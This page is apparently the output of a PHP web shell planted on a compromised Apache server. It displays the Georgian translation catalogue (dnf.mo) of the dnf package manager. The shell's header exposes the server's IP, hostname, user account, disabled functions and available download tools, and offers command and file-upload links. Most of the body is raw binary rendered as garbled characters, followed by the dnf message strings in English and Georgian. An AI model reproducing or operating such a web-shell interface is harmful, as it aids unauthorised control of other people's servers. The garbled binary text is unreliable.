Server IP : 192.168.23.10  /  Your IP : 18.219.81.129
Web Server : Apache
System : Linux echo.premieradvertising.com 5.14.0-362.8.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 7 14:54:22 EST 2023 x86_64
User : rrrallyteam ( 1049)
PHP Version : 8.1.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /usr/share/locale/gwi/../ceb/../mr/../shn/../sio/../ka/LC_MESSAGES/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/locale/gwi/../ceb/../mr/../shn/../sio/../ka/LC_MESSAGES/dnf.mo
��&L�|"�-6�-(.A.a.z.�.�.�.$�.�./
//2/E/V/
j/
x/�/�/�/�/�/ �/	0!010B0`0
}0�0�0�0�0C�031	O1
Y1d1q1"~1"�1�1�1�1�1	�1
22&282Q2"i2�2�2C�2333=3O3j3}3!�3�3�3�3�3	�3�3�34434M4^4p4�4�4�4�4�4�4	�4�45%585S5n5
�5�5�5
�5�5�5�5$6:6F6U6m6�6�6 �6 �6%�6	77
27=7S7#h7�7�7�7�7"�7"�7"8%88%^8�8�8�8�8
�8�8�8�8�8	9%9(59#^9�9�9�9�9�9'�9�9#:):	2:<:M:S:	c:m:)~:�:�:	�:�:�:%�:;/;>;U;g;�;�;	�;�;�;�;�;<%<5<H<f<x<�< �<�<�<==-=$C=h={=�=�=�=�=-�=
>>&>7>N>g>�>"�>�>�>*�>
??"-?:P?C�? �?�?@@
8@TF@8�@�@�@�@AA*A>A\TA�A�A�ABB3BKB]ByB�B�B�B)�BC!C@C!`C�C�C�C�C�C
D%D8DLD_DwD�D�D
�D�D�D�D	E
EE0E6EIEZEbEjE?{E(�E �EF"F.;F.jF+�FC�FD	GNGiGG�G�G�G�G�G�GHH'H69HpH�H�H	�H�H�H�HII#+I"OI rI�I�I �I�I	�I�I�I�I
JJJ"J>JNJjJ{J�J�J�J�J�JKK0KFK\KrK�K�K�K�K�K�KL"L
8LFL_LqL�L�L�L�L�L�L�L�LMM+M4M9M,AM(nM�M�M�M�M�M�M�M�M�N�N�NH�N-6O2dO�O�O�O�O�O�OPP4PPPcPP�P�P�P�P�P�P�PQ+Q3QNQaQnQ	�Q�Q�Q�Q�Q�QRR%R.RKR\R	mR	wR"�R�R'�R�R�RS$S5S9S	WS'aS�S�S�S�S$�S�ST$T:TOTfTzT�T�T�T�T�T
UU!3U,UU�U�U�U�U�U�U�UVV*V0VLV$`V	�V	�V�V�V�V�V	�V�VW	W!W.W;WUWqW�W
�W�W�W#�W�W�W�WXX2X	MXWXvX�X	�X�X.�X�XY Y$@YeYnY
Y�Y
�Y
�Y
�Y
�Y
�Y
�Y�YZZ-ZDZ\ZzZ�Z�Z�Z�Z�Z
[%[=[U[s[�[�[�[�[�['\=\#Z\~\�\�\�\"�\$]0]M]T]h]{]�]�]�]�]�]�]�]�]�]^"^<^W^s^�^��^�C`B�`7*a6ba)�a?�a1b85b<nb!�b�b�b3�b?cUcmc�c�c6�c9�cB&dEid*�d+�d3e :e+[ex�e�f�f�fy�f'3g^[g��g^Rh�h�h�h�h��h�{i:�i8jEj!Mj!oj#�jB�j;�jM4k:�ko�k;-l`il��l�mJ�mT�m>CnK�n@�nIoHYo&�o&�ok�o\pxp�p
�p+�pY�pMBq2�qY�qFr!drF�r7�r7sQ=s �s�sA�sZt/jtQ�td�thQu2�u.�uev#�vM�vL�vhAw=�w�w�wWxJhx4�x9�xm"yd�y�y$uzD�z%�z>{3D{Kx{G�{;|-H|Iv|F�|D})L}Pv}D�}~~,~E~DU~Q�~G�~T4����d?�d��	�9&�;`�7��ԁ��l���������ЃD�+�?A�_��B�$�4�H�PK�\��b��5\�*��,��;�&�9�!Y�K{�/LJB��1:�!l�e��,�J!�1l�L��G�W3�M��\ي%6�>\�T��x�=i�=��+�i�c{�Gߍ�'�+Ď� 	�B*�Nm�y��A6�^x�oא)G��q�*�QD�m�����Ó|{�h��7a�r��,��9�r�:`�@��cܗ@�H`�N��N��G�wP�nȚ57�Jm�N��D�2L�[�HۜD$�Bi�H��j��9`�n��g	�}q�q�aa�5àT��WN�E��F�I3�F}�PĢt�1��,��+�`�>v�;����4&�[�,{�����$Х����~ĦEC�C��Dͧ������<��˩���P/�:��P��7�MD�.��C��:�H@�����2����S��S�NC�����MǯJ�;`���V��a�Ru�ȱϱ=ױP�f�������Ҳ��>�(V�P�%гk��b�-{�1��>۴6�0Q�%��7��5�(�2?�/r�.��2Ѷ+�'0�/X�+��:��'�I�ua�6׸�'�:C�7~�b��=�W�>m�-��Iں$�:�'Y����++�W�m�1}���M˼�2/�b�7v�5��8���`п1�	��H��&�$+�FP�N��&�W
�Qe�7��8��E(�Wn�c��*�7�;�1L�R~�!����_�:f�)��f��!2�T�dm�V��Y)�J��S��"�>�JW�4��)��$�&�VB�Y�������h��e��Ca���_��*��@�&��V��9@�4z����Y4�J��(����:�DV�3��_��D/�+t�k���M+�_y�~��sX���>��Y�Dx���;��$�G7��P��?��r#�!����D��b�$t�������!������c-�M��0���"�5�J8�O��4��%�D.�Ns�J��M
�[�Dz�Q���"$�lG�~��[3�[��Q��=�!��U��!5�W�j�}���������h��i?�5��8��G�u`�f��P=�k��G��GB�k��{��Cr�M��f�ik�l��`B�Z��c��`b����cJ�v��M%�_s�o��PC�Z��t��Sd�!��(����;�+W�����g��!�G<�����1��_��<%�Yb�I��8��+g�zLi������k���B�X�B���R�:�<�E��wI���%�JH��2���]�3�S���\
�x�m91G����OU��&�[p}���u���t0.C���u�%c���f��?�DC�):!��!�"$4�^N������b/g��m��	��Wh�=Z�T���-kqs�[o�;{��,���V�#�U v�����E�~.��6&h�1�qY DQ'+�Ows"���3�)7H�������@@�*PS�T���(� ��z����6�A�I�"��e�R��	f��������iF]���d��������b�M$#���5��=Z%&0�_�����j���Q-���
��N��A<��	�,`�e��l�}��GJ�7��\�K�|'�8L�y��*;�c�a�F
����n�^/��Xjy~aK���4�`{��|���n����2�����t��l�
�r�d���$v��!���#o�r�_M>���9
��V5��Yx�8�P
������p��>�W��(�?

Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
Transaction Summary
%s
    Memory : %5s RSS (%5sB VSZ)    Started: %s - %s ago    State  : %s  * Maybe you meant: {}  Built    : %s at %s  Installed: %s-%s at %s  The application with PID %d is: %s  Updated          :  &  (from %s) Conditional Packages: Default Packages: Description: %s Environment-Id: %s Group-Id: %s Language: %s Mandatory Groups: Mandatory Packages: Optional Groups: Optional Packages: or part of a group%d file removed%d files removed%s Exactly Matched: %%s%s Matched: %%s%s is empty file%s marked as group installed.%s marked as user installed.%s removed%s second(s) (last: %s)%s unmarked as user installed.%s, alias %s="%s"%s, using original arguments.%s: metadata will expire after %d seconds and will be refreshed now%s: using metadata from %s.(%u days)(%u hours)(%u minutes)(%u seconds)--> Finished dependency resolution--> Starting dependency resolution. Failing package is: %s<name-unset><unset>AbortedAction(s)Alias %s='%s'Alias not found: %sAliases added: %sAliases are now disabledAliases are now enabledAliases contain infinite recursionAliases deleted: %sAliases resolving is disabled.All matches were installed from a different repository for argumentAlteredAutoremove PackagesAvailable Environment Groups:Available Groups:Available Language Groups:Available PackagesAvailable UpgradesBad id for repo: {}, byte = {} {}Begin rpmdb    :Begin time     :Bugfix notice(s)BugsBuildtimeCOMMANDCVEsCache was expiredCannot encode argument '%s': %sCannot read file "%s": %sCannot remove %sChangelogs for {}Cleaning data:  CleanupCommand "%s" already definedCommand Line   :Command lineCommand line error: %sComment        :Complete!Config error: %sCould not find repository: %sCould not open: {}Could not run transaction.Could not set cachedir: {}Critical Security notice(s)Critical/Sec.DNSSEC extension: DNSSEC extension: Key for user Date and timeDelta RPM rebuild failedDep-InstallDependencies resolved.Dependent packageDependent packagesDescriptionDescription : Didn't install any keysDisabling module profilesDisabling modulesDisk Requirements:Display only available packages.Display only installed packages.Display only recently edited packagesDowngradeDowngrade a packageDowngradedDownloading Packages:Enabled modules: {}.Enabling different stream for '{}'.Enabling module streamsEnd rpmdb      :End time       :Enhancement notice(s)Environment '%s' is not available.Environment '%s' is not installed.Environment Group: %sEnvironment id '%s' is not available.Environment id '%s' is not installed.EpochEraseErasedErasingError SummaryError downloading packages:Error parsing '%s': %sError storing transaction: {}Error:Error: %sError: transaction check vs depsolve:Errors occurred during test transaction.Errors occurred during transaction.Errors:Excludes in dnf.conf: Excludes in repo Extra PackagesFailedFailed determining last makecache time.Failed history infoFailed storing last makecache time.Failure:Failures:Filename    : %sFilesFreed space: %sFrom repoGPG check FAILEDGPG key at %s (0x%s) is already installedGeneral {prog} optionsGroupGroup: %sIDIgnoring repositories: %sIgnoring unnecessary profile: '{}/{}'Important Security notice(s)Important/Sec.Includes in dnf.conf: Includes in repo Incorrect or unknown "{}": {}InstallInstall timeInstalledInstalled Environment Groups:Installed Groups:Installed Language Groups:Installed PackagesInstalled byInstalled package %s%s not available.Installed size: %sInstalling Environment GroupsInstalling GroupsInstalling dependenciesInstalling group packagesInstalling group/module packagesInstalling module profilesInstalling weak dependenciesInstant (last: %s)Interact with Modules.Invalid alias key: %sInvalid groups sub-command, use: %s.Is this ok [Y/n]: Is this ok [y/N]: KEYWORDKey import failed (code %d)Key imported successfullyKeyword to search forLast metadata expiration check: %s ago on %s.Leaving ShellLicenseLicense     : %sList of Main Commands:List of Plugin Commands:List or create command aliasesLoaded plugins: %sLoading repository '{}' has failedLow Security notice(s)Low/Sec.Making cache files for all metadata files.Matched from:Metadata cache created.Metadata cache refreshed recently.Metadata timer caching disabled when running on a battery.Metadata timer caching disabled when running on metered connection.Metadata timer caching disabled.Metadata type to cleanMissing key "{key}".Moderate Security notice(s)Moderate/Sec.Modular dependency problem with Defaults:Modular dependency problems with Defaults:Modular dependency problem:Modular dependency problems:Module specificationNever (last: %s)New Package notice(s)NewerNo alias specified.No aliases defined.No aliases specified.No available modular metadata for modular package '{}', it cannot be installed on the systemNo group marked for upgrade.No groups marked for removal.No match for alias: %sNo match for argumentNo match for argument: %sNo match for package {}No matches found.No matching Modules to listNo matching Packages to listNo package %s available.No package %s installed.No package available.No package installed from the repository.No package installed.No packages marked for downgrade.No packages marked for install.No packages marked for reinstall.No packages marked for removal.No packages marked for upgrade.No packages to listNo profiles for module {}:{}No repositories availableNo repository match: %sNo such module: {}No such profile: {}No such stream: {}No transaction ID givenNo transaction file name given.No transactionsNot a valid form: %sNot installedNot overwriting {}, exiting.Nothing to do.Nothing to show.ObsoletedObsoletingObsoleting PackagesOlderOperation aborted.Other       : %sPACKAGEPROVIDEPackagePackagesPackage %s available, but installed for different architecture.Package %s available, but not installed.Package %s is already installed.Package %s is not installed.Package %s is not signedPackage %s not installed, cannot downgrade it.Package %s not installed, cannot reinstall it.Package %s not installed, cannot update it.Package %s of lower version already installed, cannot downgrade it.Package %s of lowest version already installed, cannot downgrade it.Package name specificationPackage specificationPackage to downgradePackage to installPackage to reinstallPackage to removePackage to synchronizePackage to upgradePackage {} contains no filesPackagerPackagesPackages Altered:Packages for argument %s available, but not installed.Parsing file "%s" failed: %sParsing file "{}" failed: {}Parsing file failed: %sPreparingProblemProblem opening package %sProblem repository: %sProblems in request:Provide    : %sProvide specification to search forPublic key for %s is not installedPublic key for %s is not trustedREPOIDRPM: {}RPMDB altered outside of {prog}.Recently Added PackagesReinstallReinstalledReleaseReleasever     :RemoveRemovedRemovingRemoving Environment GroupsRemoving GroupsRemoving dependent packagesRemoving file %sRemoving unused dependenciesRepo        : %sRepo-available-pkgs: Repo-baseurl       : Repo-distro-tags      : Repo-exclude       : Repo-excluded      : Repo-expire        : Repo-filename      : Repo-id            : Repo-include       : Repo-metalink      : Repo-mirrors       : Repo-name          : Repo-pkgs          : Repo-revision      : Repo-size          : Repo-status        : Repo-tags          : Repo-updated       : Repository IDRepository specificationResetting modulesReturn-Code    :RightsRunningRunning scriptletRunning transactionRunning transaction checkRunning transaction testSCRIPTScriptlet output:Searching Packages: Security notice(s)SeveritySkipSkippedSkipping packages with broken dependencies%sSleep for {} secondSleep for {} secondsSleepingSourceStarted dnf-automatic.SuccessSwitching module streamsSystemSystem is off-line.Terminated.The GPG keys listed for the "%s" repository are already installed but they are not correct for this package.
Check that the correct key URLs are configured for this repository.The key has been approved.The key has been rejected.The same or higher version of %s is already installed, cannot update it.There was an error calculating installed sizeThere was an error calculating total download sizeTotalTotal download size: %sTotal packages: {}Total size: %sTraced/StoppedTransaction ID "{0}" not found.Transaction ID :Transaction check succeeded.Transaction couldn't start:Transaction failedTransaction performed with:Transaction saved to {}.Transaction test error:Transaction test succeeded.TypeURLURL         : %sUnable to find a matchUnable to resolve argument {}UninterruptibleUnknownUnknown Security notice(s)Unknown repo: '%s'Unknown/Sec.Unsupported key value.Update IDUpdatedUpdates Information Summary: Updates applied on '%s'.Updates available on '%s'.Updates completed at %sUpdates downloaded on '%s'.UpgradeUpgradedUpgrading Environment GroupsUpgrading GroupsUser           :User nameVerifyingWaiting for internet connection...Warning: No groups match:Warning: failed loading '%s', skipping.Zombieaction to do with aliasesadd a comment to transactionalias definitionallargument for group subcommandavailableavailable subcommands: {} (default), {}bad format: %sbroken groups or modules: broken packages: bugfixcheck for available package upgradesconfig file locationcontrol whether color is usedcurrentlyDowngradingcurrentlyInstallingcurrentlyReinstallingcurrentlyUpgradingdebugging output leveldebugging output level for rpmdisable aliases resolvingdisable all pluginsdisable excludepkgsdisable plugins by namedisableddisplay a helpful usage messagedisplay advisories about packagesdisplay the configured software repositoriesdo not install documentationsdoneenable a module streamenable aliases resolvingenable plugins by nameenabledenabling %s repositoryenhancementerror output levelfalsegenerate the metadata cachehas unknown status.include optional packages from groupinstalledis valid.list modular packagesloading repo '{}' failure: {}longArchitecturelongDescriptionlongNamelongPackagelongRepositorylongSizelongSummarylongVersionmaximum command wait timemissing groups or modules: missing packages: nnewpackagenoonly download packagesoperate on corresponding source RPMother notice(s)quiet operationreinstall a packageremove all modular packagesremove cached dataremove duplicated packagesreplacingrepo %s: 0x%s already importedrepo %s: imported key 0x%s.repo idrepo namereset a moduleresolve capabilities to originating package(s)resolve to IPv4 addresses onlyresolve to IPv6 addresses onlyrun an interactive {prog} shellsearch for packages matching keywordsecurityset install rootshortArchshortDescriptionshortNameshortPackageshortReposhortSizeshortSummaryshortVersionshow all packages (default)show all problems; defaultshow all reposshow also ID of groupsshow also hidden groupsshow changelogs before updateshow changelogs of the packageshow command helpshow dependency problemsshow disabled reposshow duplicate problemsshow enabled repos (default)show info of advisoriesshow list of advisoriesshow obsoleted packagesshow only autoremove packagesshow only available groupsshow only available packagesshow only disabled modulesshow only enabled modulesshow only extras packagesshow only installed groupsshow only installed modules or packagesshow only installed packagesshow only recently changed packagesshow only upgrades packagesshow package source RPM nameshow problems with providesshow profile contentshow recursive tree for package(s)show summary of advisories (default)show {prog} version and exitstatussummaryDowngradingsummaryInstallingsummaryReinstallingsummaryUpgradingthe key to search fortrueunknownunsupported checksum type: %supdatesverbose operationyyes{}
    exit the shell{}
    resolve the transaction set{}
    run the transaction{} [command]
    print help{} exists, overwrite?{} is obsoleted by {}Project-Id-Version: PACKAGE VERSION
Report-Msgid-Bugs-To: 
PO-Revision-Date: 2022-06-20 11:18+0000
Last-Translator: Temuri Doghonadze <temuri.doghonadze@gmail.com>
Language-Team: Georgian <https://translate.fedoraproject.org/projects/dnf/dnf-master/ka/>
Language: ka
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: Weblate 4.13


მინიშნება: [d]ნაგულისხმები, [e]ჩართული, [x]გამორთული, [i]დაყენებული
ტრანზაქციის მიმოხილვა
%s
    მეხსიერება : %5s RSS (%5sB VSZ)    გაიშვა     : %s, გავიდა %s    მდგომარეობა: %s  * შეიძლება იგულისხმეთ: {}  აგებულია      : %s დრო %s  დაყენებულია: %s-%s. დრო:%s  აპლიკაცია PID-ით %d არის: %s  განახლდა     :  &  (%s-დან) პირობითი პაკეტები: ნაგულისხმები პაკეტები: აღწერა: %s გარემოს-Id: %s ჯგუფის Id: %s ენა: %s აუცილებელი ჯგუფები: აუცილებელი პაკეტები: არასავალდებულო ჯგუფები: არასავალდებულო პაკეტები: ან ჯგუფის წევრიწაშლილია %d ფაილი%s ზუსტი დამთხვევა: %%s%s ემთხვევა: %%sფაილი %s ცარიელია%s მონიშნულია, როგორც დაყენებული ჯგუფის წევრი.%s მოინიშნა, როგორც მომხმარებლის მიერ დაყენებული.%s წაიშალა%s წმ. (ბოლო: %s)%s მომხმარებლის დაყენებულად მონიშნული აღარაა.%s, მეტსახელი %s="%s"%s, გამოიყენება საწყისი არგუმენტები.%s: მეტამონაცემების ვადა %d წამის შემდეგ გავა და განახლდება%s: გამოიყენება მეტამონაცემები %s-დან.(%u დღე)(%u საათი)(%u წუთი)(%u წამი)--> ურთიერთდამოკიდებულებების დადგენის დასასრული--> ურთიერთდამოკიდებულებების დადგენის დასაწყისი. შეცდომიანი პაკეტია: %s<name-unset><unset>გაუქმებულიამოქმედებებიმეტსახელი %s='%s'მეტსახელი ნაპოვნი არაა: %sდაემატა მეტსახელები: %sმეტსახელები ახლა გამორთულიამეტსახელები ჩართულიამეტსახელები შეიცავენ უსასრულო რეკურსიასწაიშალა მეტსახელები: %sმეტსახელების გადაწყვეტა გათიშულია.ყველა დამთხვევა დაყენებულია არგუმენტის სხვადასხვა რეპოზიტორიებიდანშეცვლილიაპაკეტების ავტომატური წაშლაგარემოს ხელმისაწვდომი ჯგუფები:ხელმისაწვდომი ჯგუფები:ენის ხელმისაწვდომი ჯგუფები:ხელმისაწვდომი პაკეტებიხელმისაწვდომი განახლებებირეპოს არასწორი id: {}, ბაიტი = {} {}rpmdb-ის დაწყება   :დაწყების დრო   :შეცდომებსი გასწორებების შეტყობინებებიშეცდომებიაგების დრობრძანებაCVE-ებივადაგასული ქეშიარგუმენტის (%s) დაშიფვრის შეცდომა: %sფაილის წაკითხვის შეცდომა "%s": %s%s-ის წაშლის შეცდომაცვლილების ჟურნალი ობიექტისთვის {}მონაცემების გასუფთავება:  მოსუფთავებაბრძანება "%s" უკვე აღწერილიაბრძანების სტრიქონი  :ბრძანებათა სტრიქონიბრძანების სტრიქონის შეცდომა: %sკომენტარი    :დასასრული!კონფიგურაციის შეცდომა: %sრეპოზიტორიის პოვნა შეუძლებელია: %sგახსნის შეცდომა: {}ტრანზაქციის გაშვების შეცდომა.ქეშის საქაღალდის დაყენების შეცდომა: {}უსაფრთხოების კრიტიკული შეტყობინებებიკრიტიკული/უსაფრთხ.DNSSEC-ის გაფართოება: DNSSEC გაფართოება: მომხმარებლის გასაღები დრო და თარიღიდელტა RPM-ის აგება ვერ მოხერხდადამოკიდებულებების-დაყენებაურთიერთდამოკიდებულებები გამოთვლილია.დამოკიდებული პაკეტებიაღწერააღწერა: არცერთი გასაღები არ დამიყენებიამოდულის პროფილების გათიშვაგაითიშება მოდულებისაჭირო ადგილი დისკზე:მხოლოდ ხელმისაწვდომი პაკეტების ჩვენება.მხოლოდ დაყენებული პაკეტების ჩვენება.მხოლოდ ახლახანს ჩასწორებული პაკეტების ჩვენებაჩამოქვეითებაპაკეტის ვერსიის ჩამოწევავერსია დაეწიაპაკეტების ჩამოტვირთვა:ჩართული მოდულები: {}.'{}'-სთვის სხვა ნაკადის ჩართვა.მოდულური ნაკადების ჩართვაrpmdb-ის დასრულების დრო     :დასრულების დრო    :გაფართოების შეტყობინებებიგარემო (%s) ხელმიუწვდომელია.გარემო დაყენებული არაა:'%s'.გარემოს ჯგუფი: %sგარემოს იდ '%s' ხელმიუწვდომელია.გარემო დაყენებული არაა:'%s'.ეპოქაწაშლაწაშლილიაწაშლაშეცდომის მოკლე მიმოხილვაპაკეტების გადმოწერის შეცდომა:'%s'-ის დამუშავების შეცდომა: %sტრანზაქციის შენახვის შეცდომა: {}შეცდომა:შეცდომა: %sშეცდომა: ტრანზაქციის შემოწმება depsolve-ის წინააღმდეგ:ტრანზაქციის დროს მომხდარი შეცდომები.ტრანზაქციის დროს მომხდარი შეცდომები.შეცდომები:გამოტოვებულია dnf.conf-ში: გამოტოვებულია რეპოში დამატებითი პაკეტებიშეცდომაMakecache ბრძანების ბოლო გაშვების დროის მოძებნა შეუძლებელია.ინფორმაცია შეცდომების ისტორიის შესახებMakecache ბრძანების ბოლო გაშვების დროის შენახვა შეუძლებელია.შეცდომა:შეცდომები:ფაილი       : %sფაილებიგათავისუფლებული ადგილი: %sრეპოდანGPG-ის შემოწმების შეცდომაGPG გასაღები %s-თან (0x%s) უკვე დაყენებულია{prog}-ის ზოგადი პარამეტრებიჯგუფიჯგუფი: %sIDგამოტოვებული რეპოზიტორიები: %sგამოუყენებელი პროფილის იგნორი: '{}/{}'დაცვის მნიშვნელოვანი შეტყობინებებიაუცილებელი/უსაფრთხ.ჩასმულია dnf.conf-ში: ჩასმულია რეპოში არასწორი ან უცნობი "{}": {}ჩადგმაჩადგმის დროდაყენებულიაგარემოს დაყენებული ჯგუფები:ჩადგმული ჯგუფები:ენის დაყენებული ჯგუფები:ჩადგმული პაკეტებიდამყენებელიდაყენებული პაკეტი %s%s ხელმიუწვდომელია.ჩადგმულის ზომა: %sგარემოს პაკეტების დაყენებაჯგუფების დაყენებადამოკიდებულებების დაყენებაჯგუფის პაკეტების დაყენებაჯგუფის/მოდულის პაკეტის დაყენებამოდულის პროფილების დაყენებასუსტი დამოკიდებულებების დაყენებაუეცარი (ბოლო: %s)მოდულებთან ურთიერთობა.მეტსახელის არასწორი გასაღები: %sქვებრძანებების არასწორი ჯგუფი. გამოიყენეთ: %s.ყველაფერი კარგადაა? [Y/n]: ყველაფერი კარგადაა? [y/N]: საკვანძო სიტყვაგასაღების შემოტანა ვერ მოხერხდა (კოდი %d)გასაღები წარმატებით იქნა შემოტანილიმოსაძებნი საკვანძო სიტყვამეტამონაცემების ვადის ბოლო შემოწმების თარიღი: %s-ის წინ %s-ზე.გარსიდან გასვლალიცენზიალიცენზია    : %sმთავარი ბრძანებების სია:დამატებების ბრძანებების სია:ბრძანებების მეტსახელების გამოტანა ან შექმნაჩატვირთული დამატებები: %sრეპოზიტორიის '{}' ჩატვირთვის შეცდომაუსაფრთხოების დაბალი დონის შეტყობინებებიდაბალი/უსაფრთხ.მიმდინარეობს მეტამონაცემის ყველა ფაილისთვის ქეშის ფაილების შექმნა.დაემთხვა:მეტამონაცემების კეში შეიქმნა.მეტამონაცემების ქეში ახლახანს განახლდა.მეტამონაცემების ტაიმერის კეშინგი გამორთულია ელემენტზე გაშვების დროს.ზომვადი კავშირებისას მეტამომაცემების ტაიმერის კეშინგი გამორთულია.მეტამონაცემების ტაიმერის ქეშინგი გამორთულია.გასასუფთავებელი მეტამონაცემების ტიპინაკლული გასაღები "{key}".უსაფრთხოების საშუალო დონის სეტყობინებებისაშუალო/უსაფრთხ.ნაგულისხმები პარამეტრებით მოდულარული დამოკიდებულებების შეცდომა:მოდულარული დამოკიდებულებების პრობლემები:მოდულის სპეციფიკაციაარასდროს (უკანასკნელი: %s)შეტყობინება ახალი პაკეტების შესახებუფრო ახალიამეტსახელი მითითებული არაა.მეტსახელები მითითებული არაა.მეტსახელები მითითებული არაა.მოდულარული პაკეტი '{}'-თვის მოდულარული მეტამონაცემები მიუწვდომელია; ვერ დაყენდება თქვენს სისტემაზეარცერთი ჯგუფი არაა მონიშნული განსაახლებლად.არცერთი ჯგუფი წასაშლელად მონიშნული არაა.დამთხვევის გარეშე: %sარგუმენტს არაფერი ემთხვევაარგუმენტს არაფერი ემთხვევა: %sპაკეტს {} არაფერი ემთხვევადამთხვევის გარეშე.სიაში შესატყვისი მოდულები არ არისარცერთი პაკეტი არ ემთხვევაპაკეტი %s ხელმიუწვდომელია.პაკეტი %s დაყენებული არაა.პაკეტი არაა ხელმისაწვდომი.რეპოზიტორიიდან პაკეტი დაყენებული არაა.პაკეტი არაა ჩადგმული.პაკეტები ვერსიის დასაწევად არჩეული არაა.დასაყენებელი პაკეტ(ებ)-ი არ აგირჩევიათ.გადასაყენებლად არცერთი პაკეტი არ მოგინიშნავთ.არცერთი პაკეტი არაა წასაშლელად მონიშნული.პაკეტების განახლებები ნაპოვნი არაა.სიაში პაკეტები არაამოდულის ({}) პროფილი არ არსებობს: {}არცერთი რეპო ხელმისაწვდომი არაარეპოზიტორია არ ემთხვევა: %sასეთი მოდული არ არსებიბს: {}ასეთი პროფილი არ არსებობს: {}ასეთი ნაკადი არ არსებობს: {}ტრანზაქციის ID მითითებული არაატრანზაქციის ფაილის სახელი მითითებული არაა.ტრანზაქციები არააარასწორი ფორმა: %sდაყენებული არააარ გადავაწერ {}-ს. მუშაობის დასასრული.გასაკეთებელი არაფერია.საჩვენებელი არაფერია.ამოღებულიაამოღებაამოსაღები პაკეტებიუფრო ძველიაოპერაცია შეწყდა.სხვა    : %sპაკეტიუზრუნველყოფაპაკეტებიპაკეტი %s ხელმისაწვდომია, მაგრამ დაყენებულია სხვა არქიტექტურისთვის.პაკეტი %s ხელმისაწვდომია, მაგრამ არა დაყენებული.პაკეტი %s უკვე დაყენებულია.პაკეტი დაყენებული არაა: %s.პაკეტი %s არაა ხელმოწერილიპაკეტი %s დაყენებული არაა. ვერსიის ჩამოწევა შეუძლებელია.პაკეტი %s დაყენებული არაა. თავიდან დაყენება შეუძლებელია.პაკეტი %s დაყენებული არაა. მისი განახლება შეუძლებელია.პაკეტი %s უკვე მითითებულზე უფრო ძველია. ვერსიის ჩამოწევა შეუძლებელია.პაკეტი %s უკვე უფრო დაბალი ვერსიისაა. ვერსიის დაწევა შეუძლებელია.პაკეტის სახელის სპეციფიკაციაპაკეტის სპეციფიკაციაპაკეტები ვერსიის ჩამოსაწევადდასაყენებელი პაკეტითავიდან დასაყენებელი პაკეტიწასაშლელი პაკეტიდასასინქრონებელი პაკეტიგანსაახლებელი პაკეტიპაკეტი {} ფაილებს არ შეიცავსამწყობიპაკეტებიშეცვლილი პაკეტები:პაკეტები არგუმენტისთვის %s ხელმისაწვდომია, მაგრამ არა დაყენებული.ფაილის "%s" დამუშავების შეცდომა: %sფაილის "{}" დამუშავების შეცდომა: {}ფაილის დამუშავების შეცდომა: %sმომზადებაპრობლემაპრობლემა %s პაკეტის გახსნისასპრობლემა რეპოზიტორიასთან: %sმოთხოვნის პრობლემები:მიწოდება   : %sშეიყვანეთ საძებნი სპეციფიკაცია%s-ის საჯარო გასაღები დაყენებული არაა%s-ის საჯარო გასაღები სანდო არააREPOIDRPM: {}RPMDB შეიცვალა {prog}-ის გარეთ.ახლახანს დამატებული პაკეტებიგადაყენებაგადაყენდაგამოცემარელიზი    :ამოღებაწაშლილიაამოღებაგარემოს ჯგუფების წაშლაჯგუფების წაშლადამოკიდებული პაკეტების წაშლაფაილის წაშლა %sგამოუყენებელი დამოკიდებულებების წაშლარეპო        : %sპაკეტები-რეპოში: რეპოს-ძირბმული       : რეპოს-დისტროს-ჭდეები    : რეპოდან-გარიცხული   : რეპო-არშეიცავს      : რეპოს-ვადა       : რეპოს-ფაილისსახელი : რეპოზიტორიის-id            : რეპო-შეიცავს    : რეპოს-მეტაბმული     : რეპოს-სარკეები     : რეპოს-სახელი          ; რეპოს-პაკეტები        : რეპოს-რევიზია    : რეპოს-ზომა         : რეპოს-სტატუსი        : რეპოს-ჭდეები       : რეპო-განახლებულია       : რეპოზიტორიის IDრეპოზიტორიის სპეფიციკაციამოდულების საწყის მნიშვნელობებზე დაბრუნებადასაბრუნებელი-კოდი :უფლებებიგაშვებულიმინისკრიპტის გაშვებატრანზაქციის გაშვებამიმდინარეობს ტრანზაქციის შემოწმებატრანზაქციის შემოწმებასკრიპტიმინისკრიპტის გამოტანა:პაკეტების ძებნა: უსაფრთხოების შენიშვნ(ა/ები)სიმძიმეგამოტოვებაგამოტოვებულიაგამოსატოვებელი გაფუჭებული დამოკიდებულებების მქონე პაკეტები %s{} წამით დაძინებამძინარეწყაროdnf-automatic-ი გაშვებულია.წარმატებამოდულური ნაკადების გადართვასისტემასისტემა გათიშულია.შეწყდა.GPG გასაღებები რეპოზიტორიისთვის %s უკვე დაყენებულია, მაგრამ არასწორია ამ პაკეტისთვის.
შეამოწმეთ რეპოზიტორიის ბმულები.გასაღები მიღებულია.გასაღები უარყოფილია.პაკეტი %s უფრო ახალი ან იგივე ვერსიისაა. მისი განახლება შეუძლებელია.დაყენებული ზომის გამოთვლის შეცდომაშეცდომა ჯამური ჩამოტვირთვის ზომის გამოთვლისასსულჩამოტვირთვის ჯამური ზომა: %sპაკეტები სულ: {}ჯამური ზომა : %sტრასირებულია/გაჩერებულიატრანზაქციის ID "{0}" ნაპოვნი არაა.ტრანზაქციის ID :ტრანზაქცია წარმატებით შემოწმდა.ტრანზაქციის დაწყების შეცდომა:ტრანზაქციის შეცდომატრანზაქცია შესრულდა:ტრანზაქცია შენახულია {}-ში.ტრანზაქციის შემოწმების შეცდომა:ტრანზაქციის შემოწმება წარმატებულია.ტიპიURLURL         : %sდამთხვევის გარეშეარგუმენტის ({}) ამოხსნის შეცდომაშეუწყვეტავიუცნობიუსაფრთხოების უცნობი შეტყობინებებიუცნობი რეპოზიტორია: '%s'უცნობი/უსაფრთხ.გასაღების მხარდაუჭერელი მნიშვნელობა.განახლების IDგანახლდასაინფორმაციო შეჯამების განახლებები: '%s'-ზე განახლებები გადატარებულია.'%s'-ზე ხელმისაწვდომია განახლებები.განახლების დასრულების დრო %s'%s'-ზე განახლებები გადმოწერილია.განახლებაგანახლდაგარემოს ჯგუფების განახლებაჯგუფების განახლებამომხმარებელი    :მომხმარებელიშემოწმებაინტერნეტთან კავშირის მოლოდინი...გაფრთხილება: 